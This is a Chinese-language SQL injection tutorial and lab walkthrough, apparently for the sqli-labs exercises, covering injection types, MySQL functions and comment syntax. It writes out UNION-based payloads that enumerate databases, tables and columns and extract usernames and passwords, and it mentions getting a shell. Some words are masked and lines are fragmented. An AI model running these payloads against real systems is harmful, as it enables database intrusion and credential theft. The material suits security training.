sql注入漏洞是因為使用者輸入的語句,被拼接到了後台sql語句,且web應用程式對輸入資料沒有過濾或過濾不嚴格,而導致資料庫被執行惡意操作,如查詢刪除增加修改等。
sql注入把使用者輸入的資料當成**執行,違背了「資料與**分離」的原則。
按請求方式:get注入、post注入、cookie注入等
按注入點:整數型、字元型
按注入點反饋:報錯注入、聯合注入、布林注入、時間注入
按資料庫型別:mssql、mysql、oracle、access、nosql、ldap等
常用函式:
user注釋:():當前資料庫使用者;
version():資料庫版本;
database
():當前使用資料庫;
concat()
/group_concat():拼接字串,回顯使用;
ascill():轉ascill碼;
load_file():讀取本地檔案轉為字串;
length(
str):返回字串長度;
substr(
str,start,length):從start讀取,擷取str的length長度並返回;
concat(username):將查詢到的username連在一起,預設逗號分隔;
group_concat(username):將username拼接在一起,逗號分隔
limit a,b:從第a+1條開始,查詢b條記錄
access:無mssql:
--和;
mysql:/**/、#、--
oracle:--
information_schema.schemata: mysql資料庫中的所有資料庫的庫名判斷尋找注入點、資料庫資訊、表資訊、字段資訊、資料、破解登入getshell提權information_schema.tables: mysql資料庫中的所有資料表的表名(table_schema--其他資料庫名;table_name--其他表名)
information_schema.columns: mysql資料庫中的所有列的列名(table_schema--其他資料庫名;table_name--其他表名;column_name其他資料庫中欄位名)
第一關:
id =第二關到第四關都是注入點不同,看錯誤回顯判斷注入點的形式;1'and1=
1;id =
1'and1=
2;回顯不同,數字型注入
payload:
id =1'
order by 3;--判斷列數,3列
id=-1
'union
select
1,group_concat(schema_name) ,3
from information_schema.schemata --
+ --爆庫
id=-1'
union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=
'security'
--+ --爆security庫中表名
id=-1
'union
select
1,group_concat(column_name) ,3
from information_schema.columns where table_name=
'users
'and table_schema =
'security'--
+ --爆security庫中users表中的欄位名
id=-1'
union select id,username,password from users where id=1--+ --爆users表中id,username,password欄位的資料
第二關:
多了乙個',所以是數字型注入,上面的payload去掉'直接拿來用;
第三關:
挖掉填上去的 1' 可以得出注入形式是 ),所以把payload改成1') --+用
第四關:
去掉",注入形式:1")--+
SQL注入天書 注入漏洞全接觸
引 言 隨著b s模式應用開發的發展,使用這種模式編寫應用程式的程式設計師也越來越多。但是由於這個行業的入門門檻不高,程式設計師的水平及經驗也參差不齊,相當大一部分程式設計師在編寫 的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在隱患。使用者可以提交一段查詢 根據程式返回的結果,獲得某些...
MYSQL注入天書之盲注講解
何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇後,選擇的資料不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從background 1中,我們可以知道盲注分為三類 基於布林sql盲注 基於時間的sql盲注 基於報錯的sql盲注 ps 知識點太多了,這裡...
SQL注入天書 ASP注入漏洞全接觸
在入門篇,我們學會了 注入的判斷方法,但真正要拿到 的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看 注入的一般步驟 第一節 注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql...